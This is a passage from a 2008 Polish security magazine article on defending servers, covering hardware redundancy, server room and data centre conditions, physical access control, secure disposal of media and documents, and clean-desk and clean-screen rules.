ze sposobów zabezpieczeń jest po-
siadanie przy sobie kompletu strate-
gicznych części, bez których serwer
nie może zostać uruchomiony, jed-
nakże podzespoły są drogie i nikt
nie stosuje takiej praktyki. Z dru-
giej strony, wiemy, że z dostępno-
ścią części zapasowych u produ-
centa bywa różnie – awaria może
trwać do kilku dni. Czy możemy so-
bie na to pozwolić? Byłoby to roz-
wiązanie bardzo niebezpieczne dla
firmy. Aby obronić się przed taka sy-
tuacją, podpisujemy umowę doty-
czącą usług serwisowych. Gdy ku-
pimy nowy sprzęt, usługa ta jest ob-
jęta gwarancją producenta. Wyku-
pienie serwera w Data Center za-
pewnia nam kilka źródeł dostępu
do Internetu, jednak naprawy musi-
my wykonać sami, na własny koszt.
Dopiero dzierżawa serwera zapew-
nia odpowiedni standard wymiany
uszkodzonych podzespołów. Minu-
sem posiadania takiej dzierżawy
są ograniczenia w fizycznym dostę-
pie do serwera, często zdarza się,
że jest on ograniczony do kilku go-
dzin dziennie.
W profesjonalnych serwerach
dąży się do jak największej integra-
cji kilku niezbędnych podzespołów
z płytą główną. Za umieszczeniem
karty graficznej, sieciowej i kontro-
lera SCSI bezpośrednio na płycie
przemawiają dwa argumenty. Po
pierwsze, są to elementy w zasa-
dzie rzadko podlegające wymianie
podczas eksploatacji, a niezbędne
do funkcjonowania serwera. Po dru-
gie, zwiększa się liczba dostępnych
gniazd na karty rozszerzeń, umożli-
wiając w ten sposób rozbudowę kon-
figuracji serwera o kolejne kompo-
nenty, np. kontroler RAID, modem
lub dodatkową kartę sieciową.
Z kolei najprostszym sposobem
zwielokrotnienia wydajności maszy-
ny jest dołożenie kolejnej jednostki
obliczeniowej – procesora. Czę-
sto płyta główna umożliwia montaż
drugiej i następnych jednostek cen-
tralnych. Jeśli okaże się, że nasz
serwer jest już za słaby, wówczas
wystarczy dołożyć kolejny proce-
sor i problem zostaje (przynajmniej
na jakiś czas) rozwiązany. Jednym
z podstawowych zadań serwera
jest przechowywanie i udostępnia-
nie użytkownikom różnych baz da-
nych i plików. Aby było to możliwe,
każdy serwer musi być wyposażony
w jeden lub kilka dysków twardych.
Kluczową kwestią jest integralność
i bezpieczeństwo przechowywa-
nych danych. W niektórych ser-
werach zasada ta realizowana jest
za pomocą kontrolera RAID (Re-
dundant Array of Independent Di-
sks) oraz macierzy umożliwiają-
cej wymianę dysków na gorąco
– hot swap. Dzięki temu można łą-
czyć dyski twarde w większe ze-
społy (macierze) dla zwiększenia
wydajności lub pojemności systemu
pamięci dyskowej bądź uodpornie-
nia go na ewentualne awarie jedne-
go, czy nawet kilku dysków. Stosu-
jąc niektóre warianty RAID, można
spełnić oba te założenia.
Mogłoby się wydawać, że w więk-
szości serwerów montowane są
dyski SCSI. Tymczasem w przy-
padku tanich serwerów przezna-
czonych dla małych firm najczę-
ściej instalowane są dyski Se-
rial ATA. Ma to swoje uzasadnie-
nie przede wszystkim w cenie te-
go typu maszyn. Dyski Serial ATA
wciąż są dużo tańsze niż konkuren-
cja z interfejsem SCSI. Niestety,
w serwerach, w których kluczową
Rysunek 1.
Płyta główna
hakin9 Nr 01/2008
www.hakin9.org
Obrona
52
rolę odgrywa podsystem dyskowy,
nadal królują kontrolery SCSI –
i to z szybkim interfejsem Ultra 320
SCSI, charakteryzującym się moż-
liwością przesyłania danych z pręd-
kością dochodzącą do 320 MB/s.
Kolejną zaletą interfejsu SCSI jest
możliwość obsługi aż 32 urządzeń
(np. dysków twardych).
Wnętrze serwera
Rozmieszczenie urządzeń – funk-
cjonalna, przestronna i bezpieczna
obudowa serwera to rzecz bardzo
istotna. Musi zapewniać doskonałe
warunki pracy podzespołom, a w ra-
zie ich awarii pozwalać na jak naj-
szybszą naprawę. Wszystkie układy
obliczeniowe powinny posiadać ra-
diatory. Na pamięć RAM jest prze-
ważnie umieszczanych 6-8 slotów,
pakowanych po 2GB i pracujących
w technologii DDR-2. Kontroler pa-
mięci posiada układy odpowiada-
jące za jej skanowanie w celu wy-
krywania błędów. Na płycie głównej
powinna znajdować się także karta
graficzna. Takie kontrolery jak IDE,
SCSI, SATA, wbudowane są stan-
dardowo, pozwalając podłączyć
urządzenia pracujące z większa
szybkością, niż dostępna w kompu-
terach domowych. Wbudowany jest
również układ RAID.
Procesory i pamięć nie powin-
ny być zasłonięte przez inne pod-
zespoły, np. przez zasilacz. Przydat-
nym dodatkiem są specjalne zatrza-
ski mocujące karty rozszerzeń. Ge-
neralnie, im mniej śrubek potrzeba
do zmontowania serwera, tym jego
późniejsze utrzymanie czy rozbudo-
wa będą łatwiejsze. Do zalet niewąt-
pliwie należy bardzo łatwy dostęp
do dysków i nadmiarowe, łatwo wy-
mienialne zasilacze. Także chłodze-
nie powinno być oparte o wentylato-
ry umocowane np. w styropianowym
bloku (choć pewną wadą może być
łatwy dostęp kurzu do wnętrza obu-
dowy). Jak widać, do zaprojektowa-
nia dobrej obudowy serwera należy
przemyśleć każdy szczegół.
Płyta główna – większość pro-
ducentów decyduje się na pełną in-
tegrację z płytą główną serwera naj-
większej liczby podzespołów. Przede
wszystkim gwarantuje to całkowi-
tą zgodność użytych komponentów.
Ewentualne problemy ze zgodno-
ścią mogłyby spowodować niestabil-
ną pracę serwera. Po drugie, pozwa-
la to zaoszczędzić miejsce w obudo-
wie i poprawia cyrkulację powietrza.
Po trzecie, integracja oznacza niż-
sze koszty zakupu serwera. Najczę-
ściej z płytą główną zintegrowana zo-
staje karta graficzna. Prawie zawsze
wykorzystywane są dość proste ukła-
dy wyprodukowane przez ATI lub S3,
wykorzystujące 32 MB pamięci RAM,
która nie jest współdzielona z serwe-
rem. W niektórych serwerach dodano
złącze AGP, pozwalające zainstalo-
wać inną kartę graficzną. Wbudowa-
ne kontrolery SCSI (Ultra 320 SCSI)
służą przede wszystkim do podłącze-
nia twardych dysków – jeśli w serwe-
rze nie został zainstalowany dodatko-
wy kontroler, z lepszymi parametrami.
Prawie każda płyta główna serwe-
ra jest również wyposażona w zinte-
growaną kartę sieciową 10/100Mb/s,
a nawet 1Gb/s. W nowych, serwero-
wych płytach głównych instalowane
są też złącza PCI Express o przepu-
stowości do 16GB/s, przeznaczone
dla kontrolerów SCSI następnej ge-
neracji i kart sieciowych 10Gb/s.
• chipset powinien być kompatybil-
ny ze standardem SMBus, który
definiuje zasady zdalnego zarzą-
dzania serwerem,
• w pamięci informacja elektro-
niczna przechowywana jest
w postaci ciągu zer i jedynek.
Gdy dane są przesyłane po-
między różnymi podzespołami
(np. pamięcią i procesorem), za-
wsze istnieje niewielkie praw-
dopodobieństwo, że dojdzie do
przekłamania. Przykładowo, na
skutek zakłóceń elektrostatycz-
nych, zero zostanie odczytane
jako jedynka. W zwykłym pece-
cie spowoduje to mniej lub bar-
dziej poważne zakłócenia w pra-
cy (łącznie z zawieszeniem się).
W przypadku serwera jest to
niedopuszczalne. Aby uniknąć
takich problemów, do przesy-
łanych danych dodaje się spe-
cjalne wartości kontrolne, które
razem z danymi tworzą ustalo-
ne wzorce. Jeśli system ECC
wykryje, że przesyłane dane
są niezgodne z listą ustalonych
wzorców, to znaczy, że wystąpił
błąd. Próba jego naprawy pole-
ga na porównaniu, który z pra-
widłowych wzorców jest najbar-
dziej podobny do niewłaściwego
ciągu danych. Gdy taki wzorzec
zostanie znaleziony, zastępuje
błędne dane.
Nośniki danych – serwery to kró-
lestwo dysków SCSI; praktycznie
nie spotyka się dysków z interfej-
sem IDE. Wynika to, tak jak w przy-
padku wszystkich pozostałych róż-
nic konstrukcyjnych w porównaniu
do domowych pecetów, ze specy-
ficznych wymagań stawianych ser-
werom. Dyski muszą być bardzo
szybkie i niezawodne. Aby to uzy-
skać, najczęściej stosuje się macie-
rze dyskowe typu RAID, które w za-
leżności od konfiguracji podnoszą
wydajność podzespołu dyskowego,
zwiększają jego bezpieczeństwo,
albo jedno i drugie. Ceną, jaką trze-
ba zapłacić, jest zmniejszenie prze-
strzeni dyskowej. Nawet jednak za-
stosowanie kontrolera RAID nie za-
bezpiecza przed takimi wypadkami
losowymi jak pożar. Dlatego trzeba
zadbać o dodatkowe mechanizmy
zabezpieczenia danych. Najbar-
dziej naturalnym narzędziem jest
HotPlug PCI
Jest to technologia opracowana przez firmę Compaq – standardowy mechanizm po-
zwalający wymienić uszkodzoną kartę PCI bez wyłączania zasilania. Plusem takiego
rozwiązania jest przejmowanie funkcjonalności jednej karty sieciowej przez drugą, nie-
zauważalnie dla użytkowników (w urządzeniach Intela funkcja ta nazywa się AFT). W
tym czasie administrator może wymienić uszkodzoną kartę na sprawną, nie wyłącza-
jąc serwera ani na sekundę.
Serwery – co im zagraża, jak się zabezpieczyć
hakin9 Nr 01/2008
www.hakin9.org
53
w tym wypadku streamer – napęd
odczytujący i zapisujący nośniki ta-
śmowe. Mają one pojemność od kil-
ku do kilkuset GB i pozwalają bar-
dzo szybko wykonać kopię zapaso-
wą. Niestety, streamery w segmen-
cie tanich serwerów nie są popu-
larne ze względu na cenę, oscylu-
jącą w granicach kilku tysięcy zło-
tych. Kontroler RAID ma wbudo-
waną pamięć cache, która powinna
być podtrzymywana przez baterie
– w przypadku awarii zasilania nie
trzeba się obawiać utraty danych
będących akurat w pamięci cache.
Dodatkowym atutem jest technika
OBDR, dzięki której w razie awarii
systemu można uruchomić go z ka-
sety, zawierającej jednocześnie ko-
pię zapasową.
Kieszenie na dyski typu Hot
Swap – równie istotne są możliwo-
ści rozbudowy serwera. Wprawdzie
w chwili zakupu jego konfiguracja
może być wystarczająca, ale już nie-
bawem pojawi się potrzeba doda-
nia pamięci czy kolejnych dysków.
Szczególnie istotna jest liczba kie-
szeni na twarde dyski. Najlepiej, że-
by kieszenie były typu Hot Swap i do-
stępne z zewnątrz – co oznacza, że
dyski można dodawać i usuwać pod-
czas pracy systemu. Pięć dostęp-
nych z zewnątrz kieszeni na dyski to
rozwiązanie bardzo dobre, trzy kie-
szenie – rozsądne.
Zasilanie – podłączenie serwera
do kontaktu, nawet przez listwę zasi-
lającą kupioną za 30 złotych w skle-
pie komputerowym to pomyłka. Ser-
wer ma działać nieprzerwanie, a za-
tem nie może restartować się, ile-
kroć spadnie napięcie. Podłączenie
do UPSa za 200 złotych również od-
pada, bo nawet bez monitora serwer
z szybkim procesorem i 2 twardymi
dyskami zużyje cały prąd w ciągu
20 minut). Przydałby się zatem po-
rządny UPS, a nawet – jeśli przerwy
w dostawie prądu są częstsze – ge-
nerator prądu. Poza tym nie można
go ustawić w biurze, a zatem jest po-
trzebne odpowiednie pomieszczenie,
aby go tam trzymać. Jedną z częst-
szych przyczyn awarii jest uszko-
dzenie zasilacza komputera. Dlate-
go wielu producentów decyduje się
na wykorzystanie nadmiarowych za-
silaczy; w przypadku awarii jednego
drugi natychmiast (w przeciągu kilku
milisekund) przejmuje zasilanie ser-
wera. Ważne jest również, aby moc
zasilacza nie była niższa niż 350 W,
a optimum to 400 W.
Zasilacze zapewniają również
nadmiarowość mocy, niezbędną nie
tylko ze względu na możliwość spad-
ku mocy, lecz i z tego powodu, że
serwery stosowane w biznesie po-
bierają więcej energii.
Bezpieczeństwo serwerów wspo-
maga również specjalny układ BMC
(Baseboard Management Control-
ler), odpowiadający za monitoro-
wanie stanu pracy poszczególnych
komponentów wchodzących w skład
serwera. BMC zbiera informacje po-
chodzące z czujników rozmiesz-
czonych w różnych częściach płyty
głównej i obudowy (np. o temperatu-
rze procesorów, prędkości obrotowej
wentylatorów, napięciach zasilania).
Dzięki oprogramowaniu współpra-
cującemu z BMC administrator mo-
że być automatycznie powiadomiony
o zdarzeniach.
Powietrze wewnątrz obudowy
– bezawaryjność serwera w dużej
mierze zależy od odpowiedniej cyr-
kulacji powietrza wewnątrz obudo-
wy. W związku z tym obudowy ser-
werowe są standardowo wyposaża-
ne w dodatkowe wentylatory, które
zasysają chłodne powietrze, a wy-
dmuchują nagrzane. Bardzo istotne
jest odpowiednie poprowadzenie ka-
bli, często mocowanych w specjal-
nych osłonkach zmniejszających
ich obwód. Wyposażenie obudowy
w dwa wentylatory, w połączeniu
z uporządkowanym i przestronnym
wnętrzem, powinno już zagwaran-
tować dobrą cyrkulację powietrza.
Niektórzy z producentów stosują
specjalnie wyprofilowany plastikowy
tunel dodatkowo ułatwiając odpro-
wadzanie ciepła. Same wentylato-
ry powinny mieć charakter hot plug,
aby można je było odłączyć lub pod-
łączyć za pomocą jednego zatrza-
sku, podczas pracy serwera. Rozbu-
dowany serwer w swej architekturze
wydziela znacznie więcej ciepła niż
zwykły komputer. Dlatego klimaty-
zacja pomieszczenia też jest ważna.
W centrach serwerowych ma ona
takie samo znaczenie, jak odprowa-
dzanie ciepła z radiatorów.
Pomieszczenie – dostosowanie
pomieszczenia do pracy serwera
jest kluczową sprawą, której głów-
nymi aspektami są: podłoga i ściany
pokryte elementami antypyłowymi,
z których wyczyszczenie kurzu jest
bardzo łatwe; ognioodporne elemen-
ty służące do budowy ścian i podło-
gi; zdublowane korytarze na kable
zasilające – oddzielone od kabli sie-
ciowych – umieszczone pod podło-
gą. W pomieszczeniu montujemy kli-
matyzację, która zapewni tempera-
turę na poziomie 20°C +/- 1°C oraz
wilgotność powietrza 45-50 proc, co
obniży ryzyko awarii i przedłuży ży-
wotność sprzętu. Przy klimatyzacji
należy także pamiętać o kanałach
wentylacyjnych, ponieważ tempera-
tura w środku serwera jest kilkakrot-
nie wyższa niż na zewnątrz szafy.
Tam, gdzie zaczyna się wykorzysty-
wać chłodzenie wodne, uwidaczniają
się jego zalety polegające na ogra-
niczeniu hałasu. Te wszystkie syste-
my są ze sobą sprzężone, podłączo-
ne do programu nadzorcy, poprzez
który wykonywana jest analiza po-
miaru emisji ciepła, wykorzystywana
do sterowania poborem mocy przez
pojedynczy serwer lub grupę kompu-
terów. Określenie rozkładu tempera-
tur wraz z punktami krytycznymi po-
zwala ocenić, gdzie nastąpiła awaria
systemu chłodzenia, klimatyzacji lub
urządzeń.
Centra serwerowe
Data Center to w pierwszej kolejno-
ści budynek – jego projekt i wykona-
nie uwzględniające wszystkie czyn-
niki decydujące o jakości pomiesz-
czeń do przechowywania sprzętu,
oraz infrastruktura – elektronika, de-
terminująca w dużej mierze stopień
niezawodności zabezpieczeń. Kon-
strukcja bezpiecznego budynku po-
winna zapewniać ergonomiczne roz-
mieszczenie szaf i stojaków, oddzie-
lenie sali z serwerami od pomiesz-
czeń dla operatorów, podłogi mu-
szą umożliwiać prowadzenie kabli
w kanałach. Zabezpieczenia przed
hakin9 Nr 01/2008
www.hakin9.org
Obrona
54
niepowołanymi użytkownikami to
system kontroli dostępu i ochrona
obiektu – karty elektroniczne, sys-
temy alarmowe, strażnicy, telewizja
przemysłowa.
Zabezpieczenie przed czynni-
kami środowiska (katastrofami) to
w przypadku Polski przede wszyst-
kim ochrona przed pożarem – drzwi
wytrzymujące napór ognia oraz sys-
temy wykrywania i automatycznego
gaszenia pożarów. W ramach za-
pewnienia bezpieczeństwa zadbać
należy także o zasilanie – UPS-y,
agregaty prądotwórcze i własną sta-
cję transformatorową. Istotna jest
również szybka i niezawodna (naj-
lepiej redundantna) komunikacja ze
światem zewnętrznym.
Bezpieczeństwo
fizyczne i środowiskowe
Powszechne jest przeświadczenie,
że firewall chroni przed wszystkimi
zagrożeniami, jakie mogą czyhać na
informacje posiadane przez firmę.
Wydawane są ogromne pieniądze na
kolejne systemy wykrywania włamań
w sieciach, ściany ogniowe, oprogra-
mowanie antywirusowe, wirtualne
sieci prywatne. Zabezpieczenia te są
niewątpliwie potrzebne, ale dotyczą
warstwy sieciowej. Zapominamy na-
tomiast o bezpieczeństwie fizycznym
i środowiskowym. Poufne dane moż-
na zdobyć nie poprzez podsłuchanie
ich w czasie transmisji, ale włamując
się do biura i kradnąc stojący w kory-
tarzu serwer plików.
Idąc dalej tą ścieżką – doskonale
skonfigurowany firewall chroniący łą-
cze internetowe nie ochroni sieci fir-
my, jeśli któryś z pracowników zain-
staluje w swoim komputerze modem,
a włamywacz wykorzysta go do wej-
ścia do systemu. Tajne informacje
o nowym produkcie nie muszą zo-
stać zdobyte dzięki włamaniu na
serwer, jeśli konkurencja znajdzie
wydruki ze szczegółowymi opisami
i raportami na śmietniku. Szczegó-
ły umowy nie zostaną zdobyte przez
złamanie sieci WiFi, ale dzięki pod-
słuchaniu rozmowy prowadzonej
przez prezesów w kawiarni.
Zagadnienie bezpieczeństwa fi-
zycznego w politykach bezpieczeń-
stwa wielu firm traktowane jest po-
wierzchownie. Może okazać się to
niewybaczalnym błędem popełnio-
nym przez autora tejże polityki.
Ochrona fizyczna urządzeń słu-
żących do przetwarzania informacji
powinna rozpocząć się od wydziele-
nia obszarów bezpiecznych. Należy
stworzyć bariery fizyczne otaczające
pomieszczenia firmy. Kolejne barie-
ry tworzą następne obwody zabez-
pieczające, mogą to być: ogrodze-
nie dookoła budynku, ściana, drzwi,
zamki w drzwiach, brama wejścio-
wa otwierana za pomocą karty, re-
cepcja obsługiwana przez człowie-
ka, oświetlenie chronionego obsza-
ru, wspomniane już kamery telewizji
przemysłowej (CCTV), systemy alar-
mowe, pracownicy ochrony.
Obwód zabezpieczający musi
być solidny i nie powinno być w nim
przerw ani obszarów, które mogłyby
ułatwić włamanie. Obszarem bez-
piecznym może być zamykane biuro
lub kilka pomieszczeń znajdujących
się wewnątrz fizycznego obwodu za-
bezpieczającego.
Niedopuszczalna jest sytuacja,
w której obce osoby chodzą po biu-
rze i mogą mieć dostęp do urzą-
dzeń przetwarzających dane. Go-
ście wchodzący do bezpiecznych
obszarów powinni być nadzorowa-
ni, a data i czas ich wejścia oraz wyj-
ścia – rejestrowane. W większych fir-
mach wskazane jest noszenie przez
pracowników identyfikatorów pod-
czas przebywania w obszarach bez-
piecznych. Wszystkie osoby, które
nie są w towarzystwie innego pra-
cownika i nie posiadają identyfikato-
ra, powinny zostać zapytane o tożsa-
mość oraz cel pobytu.
Zastosowanie zamków biome-
trycznych lub kart magnetycznych
dodatkowo poprawia bezpieczeń-
stwo zamykanych pomieszczeń.
Warto zapisywać informacje o uda-
nych i nieudanych przypadkach uzy-
skania dostępu w celach audytu. Po-
lityka bezpieczeństwa musi wyma-
gać aktualizowania praw dostępu do
obszarów bezpiecznych oraz okre-
ślać, kiedy prawa te powinny być co-
fane (na przykład na czas, kiedy pra-
cownik wyjeżdża na urlop).
Fizyczna ochrona sprzętu po-
winna przeciwdziałać nie tylko za-
grożeniu nieupoważnionego dostę-
pu do informacji, ale również nie-
bezpiecznym czynnikom środowi-
skowym, które mogłyby wpłynąć
na działanie urządzeń. Podstawo-
we kategorie zagrożeń, na które
sprzęt może być narażony to próby
nieupoważnionego dostępu, zagro-
żenia środowiskowe – pożar, po-
wódź, trzęsienie ziemi, pył, dym,
w środowiskach przemysłowych pył,
kurz, drgania, oddziaływania che-
miczne, awarie zasilania, klimatyza-
cji, przerwa w dostawie wody, inter-
ferencje ze źródeł zasilania, promie-
niowanie elektromagnetyczne.
Monitorowanie warunków środo-
wiskowych pomoże wykryć czynniki,
które mogłyby wpłynąć niekorzystnie
na pracę urządzeń przetwarzających
informacje lub spowodować ich awa-
rię. Pomocna może być też symulacja
różnego rodzaju katastrof (oczywiście
nie proponuje się detonowania bomby
w korytarzu lub zalania serwerowni, ale
raczej analizę teoretyczną, popartą do-
świadczeniami innych firm). Urządzenia
przetwarzające dane powinny zostać
umieszczone w taki sposób, by zmini-
malizować możliwość niepożądanego
dostępu do obszarów roboczych oraz
ograniczyć do minimum brak nadzo-
ru podczas ich używania. Najważniej-
sze urządzenia powinny zostać roz-
mieszczone w obszarach bezpiecznych
tak, aby wykluczyć publiczny dostęp do
nich. Należy pamiętać również o dru-
karkach sieciowych, kserokopiarkach
czy urządzeniach faksowych.
Dla zachowania ciągłości pracy fir-
my szczególnie istotne jest zapewnie-
nie ciągłości zasilania w energię elek-
tryczną. W zależności od szacowane-
go ryzyka i poziomu ciągłości działa-
nia, który należy zapewnić, możemy
stosować następujące rozwiązania
zasilacze awaryjne (UPS), generator
awaryjny – jeśli przerwy w dostawie
energii elektrycznej mogą być dłuż-
sze – a także zwielokrotnione linie za-
silające. Zasilanie awaryjne powinno
pozwolić na kontynuację pracy przez
urządzenia służące przetwarzaniu in-
formacji, ale również zapewnić działa-
nie oświetlenia i łączności.
Serwery – co im zagraża, jak się zabezpieczyć
hakin9 Nr 01/2008
www.hakin9.org
55
Zabezpieczając linie komunikacyj-
ne należy pamiętać nie tylko o war-
stwie sieciowej, ale również o ich bez-
pieczeństwie fizycznym. Okablowanie
telekomunikacyjne powinno być chro-
nione przed podsłuchem lub uszkodze-
niem. Jeśli tylko jest to możliwe, to na-
leży unikać wyznaczania tras kabli bie-
gnących przez obszary publiczne. Je-
śli nie ma takiej możliwości, okablowa-
nie powinno zostać poprowadzone pod
ziemią. Wszystkie punkty rozdzielcze
sieci powinny znajdować się w zamy-
kanych skrzynkach lub szafach telein-
formatycznych umieszczonych w za-
mykanych pomieszczeniach.
Zastosowanie okablowania świa-
tłowodowego w miejsce miedziane-
go również poprawia bezpieczeństwo
instalacji, ponieważ uniemożliwia nie-
wykrywalne naruszenie ciągłości
traktu. Oprócz tego połączenie świa-
tłowodowe jest odporne na interferen-
cje sygnału czy uderzenie pioruna.
Informacje dotyczące bezpie-
czeństwa urządzeń przenośnych po-
zwalających na pracę poza siedzibą
firmy oraz pracy zdalnej znajdują się
w dalszej części tekstu.
Co jakiś czas informowani jeste-
śmy przez media o kradzieży danych
osobowych, znalezieniu poufnych in-
formacji na podwórkowych śmietni-
kach, w kubłach na śmieci lub nawet
na polu. Co gorsza, lekkomyślne po-
dejście do bezpieczeństwa dotyczy
nie tylko dokumentów papierowych,
ale również nośników komputero-
wych, które mogą pomieścić jeszcze
więcej poufnych informacji.
Firmy nie dbają o własne bezpie-
czeństwo. Przyczyną jest nie tylko
brak odpowiedniej wiedzy i świadomo-
ści potrzeby zabezpieczenia wszel-
kich nośników danych, ale również
zaniechanie i niedbalstwo. Naukowcy
z wydziału socjologii Uniwersyte-
tu Wrocławskiego, na zlecenie firmy
Fellowes Polska, przygotowali raport
na temat sposobów obchodzenia się
z dokumentami zawierającymi istotne
dane osobowe i firmowe.
Przebadano 146 firm, z których
95% odpowiedziało, że: Większość
z nas niszczy, archiwizuje lub wysyła
do centrali poufne dokumenty zawie-
rające istotne dane. Następnie spraw-
dzono zawartość kilkuset worków na
śmieci. Wnioski są co najmniej nie-
pokojące: mimo powszechnej świa-
domości potrzeby stosowania jakich-
kolwiek procedur chronienia danych
i niszczenia zbędnych dokumentów,
w 38% przejrzanych worków znale-
ziono dokumenty, które zawierały da-
ne personalne, faktury VAT, rachunki,
oferty przetargowe, umowy.
Ankietowani pracownicy firm za-
deklarowali, że ponad 80% zbędnej
dokumentacji zostaje zabezpieczone
(nie upublicznione) – jest niszczone,
archiwizowane, składowane. Mimo to
44% przeszukanych worków zawiera-
ło dokumenty, które w 52% przypad-
ków zawierały możliwe do odczytania
dane i poufne informacje. Badania zo-
stały przeprowadzone na stacji prze-
ładunku śmieci, gdzie odpady są już
w pewnym stopniu przetworzone. Do-
tarcie do śmieci znajdujących się jesz-
cze w śmietniku, tuż przy biurze firmy,
może istotnie zwiększyć prawdopodo-
bieństwo odczytania poufnych informa-
cji. Należy pamiętać, że najczęściej
funkcje systemowe usuwające dane
z nośników nie gwarantują 100% pew-
ności, że danych tych nie da się po-
nownie odczytać. Dane mogą zostać
ujawnione przez nieostrożną sprze-
daż sprzętu lub przekazanie do po-
nownego użycia. Warto rozważyć fi-
zyczne niszczenie wszystkich niepo-
trzebnych już urządzeń przechowują-
cych ważne informacje lub stosowa-
nie programów pozwalających na bez-
pieczne nadpisanie danych (dostęp-
ne są wersje dla wszystkich popular-
nych systemów operacyjnych). Jeśli
nośniki służą do przechowywania da-
nych osobowych, to wymóg usunięcia
z nich danych w sposób uniemożliwia-
jący ich odzyskanie nakłada Rozporzą-
dzenie Ministra Spraw Wewnętrznych i
Administracji z dnia 29 kwietnia 2004 r.
w sprawie dokumentacji przetwarza-
nia danych osobowych oraz warunków
technicznych i organizacyjnych, jakim
powinny odpowiadać urządzenia i sys-
temy informatyczne służące do prze-
twarzania danych osobowych (Dz. U.
2004, nr 100, poz. 1024).
Wskazane jest opracowanie pro-
cedur zarządzania wyjmowalnymi
nośnikami danych. Norma PN-ISO/
IEC 17799 zaleca rozważenie nastę-
pujących wytycznych:
• zaleca się wymazanie poprzed-
niej zawartości wszelkich nośni-
ków wielokrotnego użytku, które
mają być wyniesione z instytucji,
o ile nie będzie już potrzebna,
• zaleca się, aby w przypadku wyno-
szenia jakichkolwiek nośników z in-
stytucji potrzebne było upoważnie-
nie, a w celu przeprowadzenia póź-
niejszego audytu zaleca się prowa-
dzenie odpowiedniej ewidencji,
• zaleca się przechowywanie wszyst-
kich nośników w bezpiecznym miej-
scu, zgodnie z zaleceniami ich pro-
ducentów.
Poufne informacje mogą zostać ujaw-
nione, zmodyfikowane lub uszkodzone
również w trakcie ich fizycznego trans-
portu. Problem, wbrew pozorom, nie
jest wydumany i może przytrafić się
nawet największym. W maju 2005 ro-
ku Citigroup, największy bank na świe-
cie, stracił dane i historię transakcji 3,9
miliona swoich klientów podczas trans-
portu taśm streamera przez firmę ku-
rierską. Pamiętając o ochronie zawar-
tości przesyłek przed uszkodzeniami
fizycznymi, przy okazji warto wykorzy-
stać opakowania odporne na manipula-
cje. Krytyczne dane mogą być dzielone
na kilka elementów i przesyłane przy
pomocy różnych firm, różnymi trasami
i środkami transportu. Wymagania te
należy dostosować do ważności i pouf-
ności transportowanych informacji.
Szczególną uwagę należy zwrócić
na nośniki, z których dane należy usu-
wać w sposób bezpieczny, czyli doku-
menty papierowe, nagrania głosowe,
wydrukowane raporty, jednorazowe
taśmy barwiące do drukarek, taśmy
magnetyczne, nośniki optyczne (pły-
ty CD i DVD), dyskietki, wydruki pro-
gramów, dane z testów, dokumenta-
cję systemową. Niszczenie dokumen-
tów, nośników danych i sprzętu moż-
na zlecić zewnętrznym firmom posia-
dającym profesjonalne urządzenia po-
zwalające przeprowadzić niszczenie
w sposób bezpieczny.
Ochrona dokumentów papiero-
wych i komputerowych nośników nie
rozwiązuje w 100% problemu – po-
hakin9 Nr 01/2008
www.hakin9.org
Obrona
56
zostają jeszcze inne formy wymia-
ny informacji, jak komunikacja gło-
sowa, wizyjna lub faksowa. Rozmo-
wa prowadzona w miejscu publicz-
nym może zostać podsłuchana,
wiadomości pozostawione na auto-
matycznej sekretarce – odsłucha-
ne przez niepowołane osoby, faks
– przesłany przez pomyłkę do nie-
właściwej osoby lub odebrany przez
osobę nie posiadającą odpowied-
niego upoważnienia.
Polityka czystego biurka poma-
ga zapobiegać ujawnieniu lub kra-
dzieży informacji. Zdrowy rozsądek
nakazuje nie zostawiać na wierz-
chu żadnych dokumentów, kiedy na
pewien okres czasu tracimy kontro-
lę nad nimi (nawet jeśli tylko prze-
chodzimy do innego pokoju). Nie-
potrzebne w danym momencie do-
kumenty papierowe i nośniki da-
nych (płyty CD, DVD, pendrive'y,
taśmy) należy bezwzględnie cho-
wać w zamykanych szafach. Pod
żadnym pozorem dokumenty i no-
śniki danych nie powinny pozostać
niezabezpieczone po zakończeniu
pracy – w razie włamania, pożaru
lub powodzi mogłyby dostać się w
niepowołane ręce lub zostać znisz-
czone.
Punktami, które należy szcze-
gólnie kontrolować, są drukarki sie-
ciowe i kserokopiarki umieszczone
bardzo często w korytarzach. Pra-
cownicy powinni odbierać doku-
menty natychmiast po wykonaniu
przez urządzenie zleconego zada-
nia. Nie powinny pozostawać do-
stępne ani dla obcych osób, ani dla
pracowników nie posiadających sto-
sownych uprawnień.
Zasada czystego ekranu jest
analogiczna i odnosi się do serwe-
rów, stacji roboczych oraz urządzeń
przenośnych – laptopów oraz palm-
topów. Każdorazowe odejście od
stanowiska pracy powinno zostać
poprzedzone zablokowaniem kla-
wiatury i włączeniem wygaszacza
ekranu zabezpieczonego hasłem.
Oczywiście nie musi to wymagać
wykonania akcji ze strony użytkow-
nika – może odbywać się automa-
tycznie, pod warunkiem, że czas ak-
tywacji zabezpieczenia jest wystar-
czająco krótki (należy dopasować
go do klasyfikacji przetwarzanych
danych i ryzyka ich utraty).
Ogólne zasady związane z tą
kwestią przedstawiono poniżej:
• nawet, jeśli opuszcza się pokój
tylko na chwilę, należy go za-
mknąć na klucz lub schować do
zamykanej szafy wszelkie ważne
dokumenty i nośniki danych (pły-
ty CD, DVD, pendrive'y, taśmy),
• po zakończeniu pracy dokumen-
ty i komputerowe nośniki danych
powinny być przechowywane
w zamykanych, zabezpieczonych
i ognioodpornych szafach,
• na zakończenie pracy należy za-
mknąć aktywne sesje oraz wy-
rejestrować się (wylogować się)
z serwerów, lub też stosować
oprogramowanie blokujące kla-
wiaturę i wygaszacz ekranu za-
bezpieczony hasłem.
Do faksów, kserokopiarek i druka-
rek nie powinny mieć dostępu oso-
by postronne. Jeśli jest to możliwe,
urządzenia te powinny być zabloko-
wane poza normalnymi godzinami
pracy. Niezwłocznie po otrzymaniu,
skopiowaniu lub wydrukowaniu do-
kumentów należy zabrać je z podaj-
nika urządzenia.
Korzystanie z urządzeń przeno-
śnych – laptopów, palmtopów, tele-
fonów komórkowych w miejscach
publicznych i innych, nie chronio-
nych, miejscach poza siedzibą firmy
wymaga ostrożności, by nie ujaw-
nić osobom nieupoważnionym in-
formacji biznesowych. Zagrożenia,
na które należy szczególnie zwró-
cić uwagę:
• podglądanie przez nieupoważ-
nione osoby ekranu urządze-
nia lub klawiatury, podsłuchanie
rozmowy. Rozmowy dotyczą-
ce strategicznych spraw dla fir-
my mogą być prowadzone tylko
w bezpiecznych, sprawdzonych
miejscach. Nie powinny się od-
bywać w obecności osób przy-
padkowych, w miejscach takich
jak prezentacje, targi czy re-
stauracje,
